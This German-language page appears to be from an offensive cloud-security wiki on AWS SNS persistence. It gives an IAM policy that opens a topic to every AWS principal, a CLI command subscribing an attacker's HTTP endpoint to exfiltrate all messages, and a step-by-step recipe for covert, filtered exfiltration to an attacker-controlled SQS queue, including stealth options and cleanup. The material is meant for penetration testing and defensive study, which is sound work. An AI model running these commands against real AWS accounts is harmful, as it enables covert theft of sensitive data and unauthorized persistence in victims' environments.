AWS - SNS Persistenz

Reading time: 4 minutes

SNS

Für weitere Informationen siehe:

AWS - SNS Enum

Persistenz

Beim Erstellen eines SNS topic müssen Sie in einer IAM policy angeben, wer Lese- und Schreibzugriff hat. Es ist möglich, externe Accounts, ARN von Rollen oder sogar "*" anzugeben.
Die folgende Policy gewährt jedem in AWS Zugriff zum Lesen und Schreiben im SNS topic namens MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Subscriber erstellen

Um weiterhin alle Nachrichten aus allen Topics zu exfiltrating, könnte attacker Subscriber für alle Topics erstellen.

Beachte, dass wenn das topic vom Typ FIFO ist, nur Subscriber, die das Protokoll SQS verwenden, genutzt werden können.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Verdeckte, selektive exfiltration über FilterPolicy auf MessageBody

Ein attacker mit sns:Subscribe und sns:SetSubscriptionAttributes auf einem Topic kann eine unauffällige SQS-Subscription erstellen, die nur Nachrichten weiterleitet, deren JSON-Body einem sehr engen Filter entspricht (zum Beispiel {"secret":"true"}). Das reduziert Volumen und Erkennungswahrscheinlichkeit, während weiterhin exfiltrating sensibler Datensätze möglich ist.

Mögliche Auswirkungen: Covert, low-noise exfiltration nur gezielter SNS-Nachrichten von einem victim topic.

Schritte (AWS CLI):

• Stelle sicher, dass die attacker SQS queue policy sqs:SendMessage vom victim TopicArn erlaubt (Condition aws:SourceArn equals the TopicArn).
• Erstelle eine SQS-Subscription für das Topic:

aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN

• Setze den Filter so, dass er auf den MessageBody wirkt und nur secret=true übereinstimmt:

aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'

• Optional stealth: aktiviere RawMessageDelivery, sodass nur die rohe Nutzlast beim Empfänger landet:

aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true

• Validierung: Veröffentliche zwei Nachrichten und bestätige, dass nur die erste in der attacker queue ankommt. Beispiel-Payloads:

{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}

• Cleanup: unsubscribe und delete die attacker SQS queue, falls sie für persistence testing erstellt wurde.